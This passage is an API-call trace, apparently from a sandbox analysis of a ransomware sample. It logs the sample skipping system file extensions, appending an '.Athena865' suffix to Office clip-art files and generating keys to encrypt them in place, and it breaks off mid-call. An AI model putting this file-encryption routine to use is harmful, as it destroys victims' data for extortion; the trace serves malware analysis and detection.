lstrcmpiW (lpString1="J0222017.WMF", lpString2=".dll") returned 1 [0138.661] lstrlenW (lpString=".lnk") returned 4 [0138.661] lstrcmpiW (lpString1="J0222017.WMF", lpString2=".lnk") returned 1 [0138.662] lstrlenW (lpString=".ini") returned 4 [0138.662] lstrcmpiW (lpString1="J0222017.WMF", lpString2=".ini") returned 1 [0138.662] lstrlenW (lpString=".sys") returned 4 [0138.662] lstrcmpiW (lpString1="J0222017.WMF", lpString2=".sys") returned 1 [0138.662] lstrlenW (lpString="J0222017.WMF") returned 12 [0138.662] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.Athena865") returned 71 [0138.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.athena865"), dwFlags=0x1) returned 1 [0138.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.663] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1586) returned 1 [0138.664] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.664] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.664] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.664] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x940, lpName=0x0) returned 0x154 [0138.667] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x940) returned 0x100000 [0138.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.668] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.668] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.668] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0222019.WMF" | out: lpString1="J0222019.WMF") returned="J0222019.WMF" [0138.668] lstrlenW (lpString="J0222019.WMF") returned 12 [0138.668] lstrlenW (lpString="Athena865") returned 9 [0138.668] lstrcmpiW (lpString1="22019.WMF", lpString2="Athena865") returned -1 [0138.669] lstrlenW (lpString=".dll") returned 4 [0138.669] lstrcmpiW (lpString1="J0222019.WMF", lpString2=".dll") returned 1 [0138.669] lstrlenW (lpString=".lnk") returned 4 [0138.669] lstrcmpiW (lpString1="J0222019.WMF", lpString2=".lnk") returned 1 [0138.669] lstrlenW (lpString=".ini") returned 4 [0138.669] lstrcmpiW (lpString1="J0222019.WMF", lpString2=".ini") returned 1 [0138.669] lstrlenW (lpString=".sys") returned 4 [0138.669] lstrcmpiW (lpString1="J0222019.WMF", lpString2=".sys") returned 1 [0138.669] lstrlenW (lpString="J0222019.WMF") returned 12 [0138.669] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.Athena865") returned 71 [0138.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.athena865"), dwFlags=0x1) returned 1 [0138.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.670] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1422) returned 1 [0138.671] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.671] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.671] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.672] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x154 [0138.673] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x100000 [0138.674] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.675] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.675] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.675] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0222021.WMF" | out: lpString1="J0222021.WMF") returned="J0222021.WMF" [0138.676] lstrlenW (lpString="J0222021.WMF") returned 12 [0138.676] lstrlenW (lpString="Athena865") returned 9 [0138.676] lstrcmpiW (lpString1="22021.WMF", lpString2="Athena865") returned -1 [0138.676] lstrlenW (lpString=".dll") returned 4 [0138.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2=".dll") returned 1 [0138.676] lstrlenW (lpString=".lnk") returned 4 [0138.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2=".lnk") returned 1 [0138.676] lstrlenW (lpString=".ini") returned 4 [0138.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2=".ini") returned 1 [0138.676] lstrlenW (lpString=".sys") returned 4 [0138.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2=".sys") returned 1 [0138.676] lstrlenW (lpString="J0222021.WMF") returned 12 [0138.676] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.Athena865") returned 71 [0138.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.athena865"), dwFlags=0x1) returned 1 [0138.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.677] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1990) returned 1 [0138.678] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.678] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.678] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.679] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad0, lpName=0x0) returned 0x154 [0138.680] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad0) returned 0x100000 [0138.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.684] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.685] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.686] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0229385.WMF" | out: lpString1="J0229385.WMF") returned="J0229385.WMF" [0138.686] lstrlenW (lpString="J0229385.WMF") returned 12 [0138.686] lstrlenW (lpString="Athena865") returned 9 [0138.686] lstrcmpiW (lpString1="29385.WMF", lpString2="Athena865") returned -1 [0138.686] lstrlenW (lpString=".dll") returned 4 [0138.686] lstrcmpiW (lpString1="J0229385.WMF", lpString2=".dll") returned 1 [0138.687] lstrlenW (lpString=".lnk") returned 4 [0138.687] lstrcmpiW (lpString1="J0229385.WMF", lpString2=".lnk") returned 1 [0138.687] lstrlenW (lpString=".ini") returned 4 [0138.687] lstrcmpiW (lpString1="J0229385.WMF", lpString2=".ini") returned 1 [0138.687] lstrlenW (lpString=".sys") returned 4 [0138.688] lstrcmpiW (lpString1="J0229385.WMF", lpString2=".sys") returned 1 [0138.688] lstrlenW (lpString="J0229385.WMF") returned 12 [0138.688] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.Athena865") returned 71 [0138.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.athena865"), dwFlags=0x1) returned 1 [0138.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.694] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3932) returned 1 [0138.695] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.703] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.703] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.704] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1260, lpName=0x0) returned 0x154 [0138.705] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1260) returned 0x100000 [0138.706] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.707] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.707] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.708] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0229389.WMF" | out: lpString1="J0229389.WMF") returned="J0229389.WMF" [0138.708] lstrlenW (lpString="J0229389.WMF") returned 12 [0138.708] lstrlenW (lpString="Athena865") returned 9 [0138.708] lstrcmpiW (lpString1="29389.WMF", lpString2="Athena865") returned -1 [0138.708] lstrlenW (lpString=".dll") returned 4 [0138.708] lstrcmpiW (lpString1="J0229389.WMF", lpString2=".dll") returned 1 [0138.708] lstrlenW (lpString=".lnk") returned 4 [0138.708] lstrcmpiW (lpString1="J0229389.WMF", lpString2=".lnk") returned 1 [0138.708] lstrlenW (lpString=".ini") returned 4 [0138.708] lstrcmpiW (lpString1="J0229389.WMF", lpString2=".ini") returned 1 [0138.708] lstrlenW (lpString=".sys") returned 4 [0138.708] lstrcmpiW (lpString1="J0229389.WMF", lpString2=".sys") returned 1 [0138.708] lstrlenW (lpString="J0229389.WMF") returned 12 [0138.708] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.Athena865") returned 71 [0138.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.athena865"), dwFlags=0x1) returned 1 [0138.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.715] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3808) returned 1 [0138.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.722] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.723] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.725] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11e0, lpName=0x0) returned 0x154 [0138.728] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11e0) returned 0x100000 [0138.731] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.735] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.735] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.738] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0230876.WMF" | out: lpString1="J0230876.WMF") returned="J0230876.WMF" [0138.738] lstrlenW (lpString="J0230876.WMF") returned 12 [0138.739] lstrlenW (lpString="Athena865") returned 9 [0138.739] lstrcmpiW (lpString1="30876.WMF", lpString2="Athena865") returned -1 [0138.739] lstrlenW (lpString=".dll") returned 4 [0138.739] lstrcmpiW (lpString1="J0230876.WMF", lpString2=".dll") returned 1 [0138.741] lstrlenW (lpString=".lnk") returned 4 [0138.741] lstrcmpiW (lpString1="J0230876.WMF", lpString2=".lnk") returned 1 [0138.741] lstrlenW (lpString=".ini") returned 4 [0138.741] lstrcmpiW (lpString1="J0230876.WMF", lpString2=".ini") returned 1 [0138.741] lstrlenW (lpString=".sys") returned 4 [0138.741] lstrcmpiW (lpString1="J0230876.WMF", lpString2=".sys") returned 1 [0138.741] lstrlenW (lpString="J0230876.WMF") returned 12 [0138.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.Athena865") returned 71 [0138.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.athena865"), dwFlags=0x1) returned 1 [0138.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.746] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12506) returned 1 [0138.746] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.750] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.750] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.756] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.756] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.756] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.757] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0233018.WMF" | out: lpString1="J0233018.WMF") returned="J0233018.WMF" [0138.757] lstrlenW (lpString="J0233018.WMF") returned 12 [0138.757] lstrlenW (lpString="Athena865") returned 9 [0138.757] lstrcmpiW (lpString1="33018.WMF", lpString2="Athena865") returned -1 [0138.757] lstrlenW (lpString=".dll") returned 4 [0138.757] lstrcmpiW (lpString1="J0233018.WMF", lpString2=".dll") returned 1 [0138.757] lstrlenW (lpString=".lnk") returned 4 [0138.757] lstrcmpiW (lpString1="J0233018.WMF", lpString2=".lnk") returned 1 [0138.757] lstrlenW (lpString=".ini") returned 4 [0138.757] lstrcmpiW (lpString1="J0233018.WMF", lpString2=".ini") returned 1 [0138.757] lstrlenW (lpString=".sys") returned 4 [0138.757] lstrcmpiW (lpString1="J0233018.WMF", lpString2=".sys") returned 1 [0138.757] lstrlenW (lpString="J0233018.WMF") returned 12 [0138.757] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.Athena865") returned 71 [0138.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.athena865"), dwFlags=0x1) returned 1 [0138.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.765] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30704) returned 1 [0138.766] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.769] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.769] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.771] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.771] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.771] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.772] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0233070.WMF" | out: lpString1="J0233070.WMF") returned="J0233070.WMF" [0138.772] lstrlenW (lpString="J0233070.WMF") returned 12 [0138.772] lstrlenW (lpString="Athena865") returned 9 [0138.772] lstrcmpiW (lpString1="33070.WMF", lpString2="Athena865") returned -1 [0138.772] lstrlenW (lpString=".dll") returned 4 [0138.772] lstrcmpiW (lpString1="J0233070.WMF", lpString2=".dll") returned 1 [0138.772] lstrlenW (lpString=".lnk") returned 4 [0138.772] lstrcmpiW (lpString1="J0233070.WMF", lpString2=".lnk") returned 1 [0138.773] lstrlenW (lpString=".ini") returned 4 [0138.773] lstrcmpiW (lpString1="J0233070.WMF", lpString2=".ini") returned 1 [0138.773] lstrlenW (lpString=".sys") returned 4 [0138.773] lstrcmpiW (lpString1="J0233070.WMF", lpString2=".sys") returned 1 [0138.773] lstrlenW (lpString="J0233070.WMF") returned 12 [0138.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.Athena865") returned 71 [0138.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.athena865"), dwFlags=0x1) returned 1 [0138.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.775] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5410) returned 1 [0138.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.776] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.776] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.778] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.779] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.779] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.780] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0233312.WMF" | out: lpString1="J0233312.WMF") returned="J0233312.WMF" [0138.780] lstrlenW (lpString="J0233312.WMF") returned 12 [0138.780] lstrlenW (lpString="Athena865") returned 9 [0138.780] lstrcmpiW (lpString1="33312.WMF", lpString2="Athena865") returned -1 [0138.780] lstrlenW (lpString=".dll") returned 4 [0138.780] lstrcmpiW (lpString1="J0233312.WMF", lpString2=".dll") returned 1 [0138.780] lstrlenW (lpString=".lnk") returned 4 [0138.780] lstrcmpiW (lpString1="J0233312.WMF", lpString2=".lnk") returned 1 [0138.780] lstrlenW (lpString=".ini") returned 4 [0138.780] lstrcmpiW (lpString1="J0233312.WMF", lpString2=".ini") returned 1 [0138.780] lstrlenW (lpString=".sys") returned 4 [0138.780] lstrcmpiW (lpString1="J0233312.WMF", lpString2=".sys") returned 1 [0138.780] lstrlenW (lpString="J0233312.WMF") returned 12 [0138.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.Athena865") returned 71 [0138.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.athena865"), dwFlags=0x1) returned 1 [0138.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.782] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33016) returned 1 [0138.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.782] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.782] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.786] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.786] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.786] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.787] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0234131.WMF" | out: lpString1="J0234131.WMF") returned="J0234131.WMF" [0138.787] lstrlenW (lpString="J0234131.WMF") returned 12 [0138.787] lstrlenW (lpString="Athena865") returned 9 [0138.787] lstrcmpiW (lpString1="34131.WMF", lpString2="Athena865") returned -1 [0138.787] lstrlenW (lpString=".dll") returned 4 [0138.787] lstrcmpiW (lpString1="J0234131.WMF", lpString2=".dll") returned 1 [0138.787] lstrlenW (lpString=".lnk") returned 4 [0138.787] lstrcmpiW (lpString1="J0234131.WMF", lpString2=".lnk") returned 1 [0138.787] lstrlenW (lpString=".ini") returned 4 [0138.787] lstrcmpiW (lpString1="J0234131.WMF", lpString2=".ini") returned 1 [0138.787] lstrlenW (lpString=".sys") returned 4 [0138.787] lstrcmpiW (lpString1="J0234131.WMF", lpString2=".sys") returned 1 [0138.788] lstrlenW (lpString="J0234131.WMF") returned 12 [0138.788] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.Athena865") returned 71 [0138.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft 